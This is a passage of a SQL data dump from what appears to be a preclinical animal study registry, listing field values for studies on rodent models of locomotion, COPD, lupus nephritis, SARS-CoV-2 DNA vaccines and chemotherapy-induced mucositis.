	(7263,181,'yes_blinded_intervention_how_details','\"There is no possibility for blinding during first 4 days of experiments when the animals are treated. Hovewer, the experimenters will be blinded during test day.\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7264,181,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7265,181,'placebo_controlled','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7266,181,'has_embargo','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7267,181,'application_number','\"First Pavlov State Saint Petersburg Medical University, # 100_ 81_012017\\/3_900,\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7268,169,'link_to_data','\"Canine Cognitive Dysfunction: https:\\/\\/www.ncbi.nlm.nih.gov\\/pubmed\\/20005753 \\n\\nCanine Cognitive Dysfunction Rating Scale (CCDR): https:\\/\\/www.ncbi.nlm.nih.gov\\/pubmed\\/20542455 \"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7269,182,'title','\"The action of PDE10A inhibitor RO5545965 on tetrabenazine-induced hypolocomotion in rats\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7270,182,'short_title','\"RO5545965 on TBZ-rats\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7271,182,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7272,182,'contact_role','\"Executive researcher\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7273,182,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7274,182,'study_centre','[{\"name\":\"Institute of Pharmacology, Pavlov First Saint Petersburg State Medical University\",\"city\":\"Saint Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7275,182,'financial_support','[\"grants\"]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7276,182,'start_date','\"2020-01-22\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7277,182,'end_date','\"2020-01-28\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7278,182,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:49','2022-03-31 13:24:05'),
	(7279,182,'research_field','\"neuroscience\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7280,182,'hypothesis','\"The activation of PDE10A by RO5545965 is able to mitigate the hypolocomotion induced by tetrabenazine administration\"','2022-03-31 13:23:49','2022-03-31 13:24:05'),
	(7281,182,'intervention_type','\"compound\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7282,182,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7283,182,'primary_readout_parameter','\"Efficacy: efficacy based on horizontal locomotor activity (number of ambulations) after acute administration of RO5545965\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7284,182,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7285,182,'species','\"rat\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7286,182,'strain','\"Wistar\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7287,182,'sex','\"male\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7288,182,'experimental_design','\"The rats treated with tetrabenazine (3 mg\\/kg, i.p.) 30 min before the start of locomotor activity assessment\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7289,182,'sample_size_calculation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7290,182,'sample_size_calculation_details','\"Effect Size f = 0.613 alpha = 0.05 beta = 0.20 power = 0.80 We expect no drop-outs\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7291,182,'sum_of_animals','\"36\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7292,182,'study_arms','[{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"TBZ + Vehicle\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + RO5545965 0.1 mg\\/kg\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + RO5545965 0.3 mg\\/kg\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + RO5545965 0.9 mg\\/kg\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7293,182,'randomisation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7294,182,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7295,182,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7296,182,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7297,182,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7298,182,'placebo_controlled','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7299,182,'application_number','\"# 100_ 81_012017\\/3_900, tests in rats\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7300,182,'has_embargo','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7301,183,'randomisation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7302,183,'financial_support','[\"industry\",\"_investigator_driven\",\"grants\"]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7303,183,'other_financial_support','\"sdfsdfsdfsd\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7304,184,'title','\"Proteomics and Metabolomics-based study on the Mechanism of TCM Bushenyiqi decoction in COPD treament\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7305,184,'short_title','\"Study on the Mechanism of Bushenyiqi decoction in COPD treament\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7306,184,'species','\"rat\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7307,184,'contact_name','\"gao zhen\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7308,184,'contact_role','\"executive researcher\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7309,184,'contact_email','\"gaozhening@gmail.com\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7310,184,'study_centre','[{\"name\":\"Department of Integrated Traditional Chinese and Western Medicine, Huashan Hospital Affiliated to Fudan University\",\"city\":\"Shanghai\",\"country\":\"CN\"},{\"name\":\"Traditional Chinese Medicine Hospital Affiliated to Xinjiang Medical University\",\"city\":\"Urumqi\",\"country\":\"CN\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7311,184,'financial_support','[\"grants\"]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7312,184,'start_date','\"2019-08-30\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7313,184,'end_date','\"2020-08-22\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7314,184,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7315,184,'research_field','\"complementary and alternative medicine (traditional Chinese medicine)\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7316,184,'hypothesis','\"Chronic Obstructive Pulmonary Disease (COPD) is currently the fourth leading cause of death in the world, but is projected to be the 3rd leading cause of death by 2020. A recent survey reported that the estimated COPD prevalence was 6.2% in 9 Asia-Pacific territories. Many clinical guidelines recommended pharmacological therapies for COPD, but acute exacerbation still occurs frequently and is significantly associated with morbidity and mortality.In China and some other Asia countries, traditional Chinese medicine (TCM) has been used more than thousands of years for the treatment of respiratory disease. meta-analysis showed that for stable COPD, bushen combined with conventional Western medicine (CWM) is superior to CWM alone with regard to clinical effectiveness, symptoms, and quality of life. In this study, we investigated the role and effect of Bushenyiqi decoction on COPD using the rat model induced by cigarette smoke exposure, lipopolysaccharide (LPS) and great fright impairing the kidney.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7317,184,'intervention_type','\"compound\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7318,184,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7319,184,'primary_readout_parameter','\"Efficacy: 1. IL-1\\u03b2, IL-6, IL-10 and TNF-\\u03b1 in serum and BALF.\\n2. Proteomics and Metabolomics in lung tissue\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7320,184,'secondary_readout_parameter','\"1. Pulmonary Function.\\n2. Pathological Examinations of Lung Tissues.\\n3. BALF Cytological Analysis.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7321,184,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7322,184,'strain','\"N\\/A\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7323,184,'sex','\"male\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7324,184,'experimental_design','\"COPD model\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7325,184,'sample_size_calculation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7326,184,'sum_of_animals','\"50\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7327,184,'study_arms','[{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"the rats in COPD group were given Bushenyiqi decoction from day 99 to day 112. The dose was calculated according to the \\u201cequivalent dose table for human and animal translation by body surface area\\u201d .Thereby, the daily dose for a rat was 0.32 g per 200 g body weight. \"},{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"the rats in Sham group were given equivalent volume of saline simultaneously from day 99 to day 112.\"},{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"the rats in control group were given equivalent volume of saline simultaneously from day 99 to day 112.\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7328,184,'randomisation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7329,184,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7330,184,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7331,184,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7332,184,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7333,184,'placebo_controlled','\"no\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7334,184,'application_number','\"All experimental procedures were approved by the Animal Care and Use Committee of Xinjiang medical University (No separate approval number adopted by the meeting)\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7335,184,'link_to_data','\"N\\/A\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7336,184,'has_embargo','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7337,143,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7338,143,'other_randomisation_method','\"Animals were randomised in 2 blocks, using a random number series generated online. Modifications were made as necessary following exclusions to ensure that groups remained appropriately balanced for sex and weight.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7339,143,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7340,174,'has_embargo','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7341,174,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7342,174,'intervention_type','\"surgery\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7343,174,'experimental_design','\"Wild Type - C57BL6J\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7344,174,'sample_size_calculation','\"no\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7345,174,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7346,174,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7347,174,'why_no_randomisation','\"Only one experimental group but running order for experiments was randomised\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7348,185,'title','\"Baricitinib in systemic lupus erythematosus and lupus Nephritis of MRLlpr\\/lpr mice. A multicenter preclinical randomized controlled trial\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7349,185,'contact_name','\"Hans-Joachim Anders\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7350,185,'contact_role','\"Principal investigator\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7351,185,'contact_email','\"hjanders@med.uni-muenchen.de\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7352,185,'study_centre','[{\"name\":\"PI Anders\",\"city\":\"LMU Munich\",\"country\":\"DE\"},{\"name\":\"PI Voll\",\"city\":\"Univ. Freiburg\",\"country\":\"DE\"},{\"name\":\"PI Ortiz\",\"city\":\"Univ Madrid\",\"country\":\"ES\"},{\"name\":\"PI Soler Romeo\",\"city\":\"Univ Barcelona\",\"country\":\"ES\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7353,185,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7354,185,'start_date','\"2019-01-01\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7355,185,'end_date','\"2020-09-01\"','2022-03-31 13:23:50','2022-03-31 13:23:57'),
	(7356,185,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:50','2022-03-31 13:23:57'),
	(7357,185,'research_field','\"Nephrology, Rheumatology\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7358,185,'hypothesis','\"Baricitinib therapy will attenuate lupus nephritis in MRLlpr mice\"','2022-03-31 13:23:50','2022-03-31 13:23:59'),
	(7359,185,'intervention_type','\"compound\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7360,185,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7361,185,'primary_readout_parameter','\"Efficacy: Urine protein-creatinine ratio\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7362,185,'secondary_readout_parameter','\"Lupus nephritis activity index, skin lesion score, lymphadenopathy score\"','2022-03-31 13:23:50','2022-03-31 13:23:59'),
	(7363,185,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7364,185,'species','\"mouse\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7365,185,'strain','\"MRL\\/MpJ-Faslpr\\/J mice (Jackson lab, stock no: 000485)\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7366,185,'sex','\"female\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7367,185,'experimental_design','\"Spontaneous model\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7368,185,'sample_size_calculation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7369,185,'sum_of_animals','\"It is expected that 100% of the MRL\\/MpJ-Faslpr\\/J mice will develop proliferative lupus nephritis with significant proteinuria. It is expected that at the end of the study MRL\\/MpJ-Faslpr\\/J mice on baricitinib will have approximately 80% of the proteinuria (1 SD 26% of mean) of vehicle\\u2013treated MRL\\/MpJ-Faslpr\\/J mice. 55 MRL\\/MpJ-Faslpr\\/J mice will be randomized to achieve a target of 27 MRL\\/MpJ-Faslpr\\/J mice in each treatment arm providing approximately 80% power to detect the difference in the primary endpoint, at the 5% significance level (https:\\/\\/clincalc.com\\/stats\\/samplesize.aspx).\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7370,185,'study_arms','[{\"type\":\"control\",\"number\":\"27\",\"intervention\":\"vehicle\"},{\"type\":\"intervention\",\"number\":\"27\",\"intervention\":\"baricitinib\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7371,185,'randomisation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7372,185,'randomisation_method_used','\"other\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7373,185,'other_randomisation_method','\"Block randomization to allocate equal number of vehicle or intervention mice to each center\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7374,185,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7375,185,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7376,185,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7377,185,'placebo_controlled','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7378,185,'application_number','\"Individual ethics approval at each site\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7379,185,'link_to_data','\"https:\\/\\/www.kidney-international.org\\/article\\/S0085-2538(21)00205-2\\/fulltext\"','2022-03-31 13:23:50','2022-03-31 13:23:57'),
	(7380,185,'has_embargo','\"no\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7381,186,'title','\"Development of prophylactic nucleic acid vaccine against SARS-CoV-2\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7382,186,'contact_name','\"Iman Almansour\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7383,186,'contact_role','\"Principal Investigator (Research group supervisor)\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7384,186,'contact_email','\"dr.imanalmansour@gmail.com\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7385,186,'study_centre','[{\"name\":\"Imam Abdulrahman Bin Faisal University\",\"city\":\"Dammam\",\"country\":\"SA\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7386,186,'financial_support','[\"grants\"]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7387,186,'start_date','\"2020-02-16\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7388,186,'end_date','\"2022-02-13\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7389,186,'study_status','\"active\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7390,186,'research_field','\"Vaccinology, Immunology, Vaccine\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7391,186,'hypothesis','\"I propose to develop vaccine for the novel coronavirus SARS-CoV-2, based on nucleic acid vaccine technology. The vaccine is based on genetically optimized, remodeled spike (S) genes to elicit potent humoral antibody response. The S protein is known as the major antigenic determinant for the coronaviruses (CoV) family. The scope of immunogenic protection for the remodeled S immunogens \\u201dvaccines\\u201d will be directed to closely related SARS-CoV-2 strains. Further, the incorporation of genetically modified S genes into plasmid DNA (pDNA) will provide excellent gene delivery and enhance in-vivo expression. Genetically modified S gene will be cloned, purified, and tested for the presence of antigenic epitopes. The immunogenicity and protective antibodies responses elicited by single or combined gene candidates will be evaluated. Most promising genetically engineered S vaccine candidate will be selected for further clinical studies (Phase I).\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7392,186,'intervention_type','\"compound\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7393,186,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7394,186,'primary_readout_parameter','\"Efficacy\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7395,186,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7396,186,'species','\"mouse\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7397,186,'strain','\"C57BL\\/6 \"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7398,186,'sex','\"female\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7399,186,'sum_of_animals','\"36\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7400,186,'study_arms','[{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"PBS\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"S.opt.FL DNA + S.opt.FL DNA\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"S.opt.FL DNA+ S.opt.FL protein\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"S1.opt DNA+ S1.opt DNA\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"S1.opt DNA + S1.opt protein\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"S.opt.FL DNA+S1.opt Protein\"}]','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7401,186,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7402,186,'has_embargo','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7403,186,'experimental_design','\"Mice\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7404,186,'sample_size_calculation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7405,186,'sample_size_calculation_details','\"On average, mice have 58.5 ml of blood.\\n25 g have a total blood volume (TBV) of approximately 58.5 ml\\/kg x 0.025 kg = 1.46 ml.\\nMice bleeding will occur every two weeks, with a maximum &lt;10% TBV (= 0.14 ml) of blood.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7406,186,'randomisation','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7407,186,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7408,186,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7409,186,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7410,186,'yes_blinded_intervention_how_details','\"Administration of vaccine group is categorized in number without declaring the vaccine composition to the animal house ab staff administering the vaccine and bleed mice\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7411,186,'placebo_controlled','\"yes\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7412,186,'application_number','\"IRB-2020-333-IRMC\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7413,186,'other_financial_support','\"2020-161-IRMC\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7414,161,'sample_size_calculation_details','\"There was no power or sample size calculation, as this study was an add on to an existing animal study. This study was added during the asphyxia phase to assess if this specific tool can be used to assess the heart rate.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7415,161,'link_to_data','\"https:\\/\\/www.frontiersin.org\\/articles\\/10.3389\\/fped.2020.00018\\/full\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7416,155,'sample_size_calculation_details','\"There was no power or sample size calculation, as this study was an add on to an existing animal study. This study was added during the asphyxia phase to assess if these specific tools can be used to assess the heart rate.\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7417,155,'link_to_data','\"https:\\/\\/www.frontiersin.org\\/articles\\/10.3389\\/fped.2019.00453\\/full\"','2022-03-31 13:23:50','2022-03-31 13:23:50'),
	(7418,187,'title','\"Safety studies of DNA-vaccine against SARS-CoV-2 coronavirus on the base of our own DNA-vectors, encoding immunogenic epitopes of SARS-CoV-2 proteins\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7419,187,'short_title','\"DNA-vaccine against SARS-CoV-2 coronavirus\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7420,187,'contact_name','\"Vladimir Gamolsky\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7421,187,'contact_role','\"research group supervisor\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7422,187,'contact_email','\"office@GENDT21.CO.UK\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7423,187,'study_centre','[{\"name\":\"LLC Scientific and Biological Center \\\"Pharmbiomed\\\"\",\"city\":\"Moscow\",\"country\":\"RU\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7424,187,'financial_support','[\"other\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7425,187,'other_financial_support','\"investor funds\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7426,187,'start_date','\"2020-04-23\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7427,187,'end_date','\"2020-05-31\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7428,187,'study_status','\"active\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7429,187,'research_field','\"immunology infectious, diseases\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7430,187,'hypothesis','\"Show the lack of acute toxicity and the effectiveness of the DNA vaccine in producing antibodies against epitopes of SARS-CoV-2 proteins\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7431,187,'intervention_type','\"compound\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7432,187,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7433,187,'primary_readout_parameter','\"Safety: Study of acute toxicity\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7434,187,'secondary_readout_parameter','\"Efficacy\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7435,187,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7436,187,'species','\"rat\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7437,187,'strain','\"outbred\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7438,187,'sex','\"both\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7439,187,'experimental_design','\"subcutaneous injection of the vaccine groin\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7440,187,'sample_size_calculation','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7441,187,'sum_of_animals','\"84 rats\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7442,187,'study_arms','[{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"test DNA vaccine, three different doses, males\"},{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"test DNA vaccine, three different doses, females\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"placebo, three different doses, males\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"placebo, three different doses, females\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"intact animals\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7443,187,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7444,187,'other_randomisation_method','\"body weight randomization\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7445,187,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7446,187,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7447,187,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7448,187,'placebo_controlled','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7449,187,'has_embargo','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7450,187,'application_number','\"\\u2116 2020\\/04-\\u0414 Ethics Committee FEDERAL RESEARCH &amp; CLINICAL CENTER OF PHYSICAL-CHEMICAL MEDICINE OF FEDERAL MEDICAL BIOLOGICAL AGENCY\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7451,187,'original_animal_ethics_committee_application','\"https:\\/\\/1drv.ms\\/b\\/s!Are57VWBfJYLavXYqqwBLh6TMTg\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7452,187,'randomisation_method_used','\"other\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7453,188,'title','\"Assessment of doxorubicin-induced mucositis with sequential FDG-PET\\/CT. \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7454,188,'short_title','\"DoxoPET\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7455,188,'contact_name','\"Sina Dalby\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7456,188,'contact_role','\"Researcher\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7457,188,'contact_email','\"sina.dalby@rsyd.dk\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7458,188,'study_centre','[{\"name\":\"University of Southern Denmark\",\"city\":\"Odense C\",\"country\":\"DK\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7459,188,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7460,188,'start_date','\"2020-06-01\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7461,188,'end_date','\"2021-02-28\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7462,188,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:51','2022-03-31 13:24:06'),
	(7463,188,'research_field','\"Paediatrics, Oncology, Nuclear medicine\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7464,188,'hypothesis','\"FDG uptake correlates with histological signs of inflammation and with inflammation-related plasma cytokines. Mice overexpressing FIBCD1 will have a diminished degree of intestinal inflammation compared to the wild-type mice. \"','2022-03-31 13:23:51','2022-03-31 13:24:06'),
	(7465,188,'intervention_type','\"other\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7466,188,'other_intervention_type','\"Diagnostic molecular imaging\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
